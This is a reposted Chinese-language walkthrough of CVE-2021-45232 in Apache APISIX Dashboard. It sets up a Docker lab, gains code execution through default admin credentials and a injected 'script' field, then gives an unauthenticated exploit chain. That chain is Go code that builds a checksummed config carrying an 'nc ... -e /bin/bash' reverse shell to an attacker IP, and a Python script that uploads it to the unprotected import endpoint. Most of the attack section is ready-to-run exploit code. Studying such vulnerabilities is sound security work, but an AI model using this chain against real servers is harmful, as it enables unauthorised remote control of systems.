广告位联系
返回顶部
分享到

Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

linux 来源:互联网 作者:佚名 发布时间:2023-07-08 21:45:51 人浏览
摘要

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。 漏洞描述 Apache APISIX 是一个动态

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。

影响范围

Apache APISIX Dashboard < 2.10.1

环境部署

通过git clone apisix-docker

1

2

git clone https://github.com/apache/apisix-docker

cd apisix-docker/example/

修改docker-compose.yml

1

2

apache/apisix-dashboard:2.7

apache/apisix:2.6-alpine


然后,docker-compose up -d 启动环境

环境起来后,浏览器通过默认端口9000访问apisix dashboard

后台RCE

由于apisix dashboard 默认账号和密码是admin:admin,所以我们先登录到后台,来验证一把远程命令执行

首先创建一个上游服务,点击创建,名称随意命名,目标节点填写我们转发请求的服务,这里我们填写docker附带的Grafana应用,端口号为3000,点击下一步,提交即可。

其次,创建一个路由,名称任意起,路径也是自定义,点击下一步,选择我们刚才创建的上游服务,最后,提交即可。

查看创建的路由

回到路由配置页面,点击配置,然后一直下一步,直到提交时,使用BurpSuite抓包

然后在请求包的body中,添加一个script字段后,发送请求。

1

"script": "os.execute('touch /tmp/Keepb1ue')"

再次查看,路由配置信息

接着,我们访问一下: http://192.168.10.171:9080/rce111

docker中看一下,是否创建了Keepblue这个文件

未授权接口RCE

如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行RCE了

1

2

/apisix/admin/migrate/export

/apisix/admin/migrate/import

首先,使用/apisix/admin/migrate/export导出配置文件

因为是未授权,所以在未登陆情况下,BP抓包后,请求接口改为/apisix/admin/migrate/export,点击send后,看到配置文件信息

在导入配置文件时,会对配置文件的checksum值进行校验,那这里其实是可以通过写脚本算出checksum校验值,或者是根据apisix的源码去计算出新的checksum值

源码位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig函数将其计算源码单独抽取出来,并将需要导入的配置(data)进修替换和插入RCE语句

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

package main

 

import (

    "encoding/binary"

    "fmt"

    "hash/crc32"

    "io/ioutil"

    "os"

)

func main() {

    gen()

}

func gen() {

    data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)

    checksumUint32 := crc32.ChecksumIEEE(data)

    checksumLength := 4

    checksum := make([]byte, checksumLength)

    binary.BigEndian.PutUint32(checksum, checksumUint32)

    fileBytes := append(data, checksum...)

 

    content := fileBytes

    fmt.Println(content)

 

    importData := content[:len(content)-4]

    checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])

    if checksum2 != crc32.ChecksumIEEE(importData) {

        fmt.Println(checksum2)

        fmt.Println(crc32.ChecksumIEEE(importData))

        fmt.Println("Check sum check fail, maybe file broken")

        return

    }

    err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)

    if err != nil {

        fmt.Println("error!!")

        return

    }

}

运行这段脚本,会生成apisixPayload这个文件

这个就是我们要import上去的计算好校验值的新的配置文件,接下来使用python代码可以简单的传到服务端

1

2

3

4

5

6

import requests

url = "http://192.168.10.171:9000/apisix/admin/migrate/import"

files = {"file": open("apisixPayload", "rb")}

r = requests.post(url, data={"mode": "overwrite"}, files=files)

print(r.status_code)

print(r.content)

在攻击机上,开启nc监听

接下来,访问路由地址(http://192.168.10.171:9080/rce111),触发远程命令执行

查看nc反弹shell

反弹成功,说明命令已经执行


版权声明 : 本文内容来源于互联网或用户自行发布贡献,该文观点仅代表原作者本人。本站仅提供信息存储空间服务和不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权, 违法违规的内容, 请发送邮件至2530232025#qq.cn(#换@)举报,一经查实,本站将立刻删除。
原文链接 : https://blog.csdn.net/guo15890025019/article/details/129503731
相关文章
  • Linux查看端口占用情况介绍

    Linux查看端口占用情况介绍
    一、查看已知端口占用情况 比如,我们想知道8080端口的使用情况,或者说被谁占用了,命令如下: 1 netstat -anp | grep 8080 结果如下: 也可以
  • Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-
    声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律
  • vscode远程开发使用SSH远程连接服务器的方法「内

    vscode远程开发使用SSH远程连接服务器的方法「内
    远程连接服务器工具有很多,比如XShell、putty等,可以通过ssh来远程连接服务器,但这用于写代码并不方便,可能需要现在本地写好代码后再
  • linux中grep命令使用实战介绍

    linux中grep命令使用实战介绍
    一. grep命令介绍 Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹 配的行打印出来。 grep全称是Global
  • 修改Linux内核参数vm.swappiness的方法教程
    修改Linux内核参数vm.swappiness 内核参数vm.swappiness控制换出运行时内存的相对权重,参数值大小对如何使用swap分区有很大联系。 值越大,表示
  • nginx部署前端项目的详细方法步骤

    nginx部署前端项目的详细方法步骤
    1. 什么是nginx Nginx是一款高性能的http 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器。 由俄罗斯的程序设计师Igor Sysoev所开发,官
  • apache-zookeeper-3.7.1 安装部署教程

    apache-zookeeper-3.7.1 安装部署教程
    apache-zookeeper-3.7.1 安装部署 下载地址:https://mirrors.bfsu.edu.cn/apache/zookeeper/ apache-zookeeper-3.7.1 1.下载直接解压,进入../conf/目录下复制一份zoo
  • Linux命令之mkdir,cat,touch,vi/vim的介绍

    Linux命令之mkdir,cat,touch,vi/vim的介绍
    mkdir命令语法 linux mkdir 命令用来创建指定的名称的目录,要求创建目录的用户在当前目录中具有写权限,并且指定的目录名不能是当前目录
  • Linux文件查找命令总结(下篇)
    前言 关于Linux文件查找命令总结我们分别介绍了which命令、whereis命令、locate命令、find命令这四个命令,本篇向大家介绍的是find命令。 find
  • Linux文件查找命令总结(上篇)

    Linux文件查找命令总结(上篇)
    关于Linux文件查找命令总结我们分别介绍了which命令、whereis命令、locate命令、find命令这四个命令,本篇向大家介绍的是:which命令、whereis命
  • 本站所有内容来源于互联网或用户自行发布,本站仅提供信息存储空间服务,不拥有版权,不承担法律责任。如有侵犯您的权益,请您联系站长处理!
  • Copyright © 2017-2022 F11.CN All Rights Reserved. F11站长开发者网 版权所有 | 苏ICP备2022031554号-1 | 51LA统计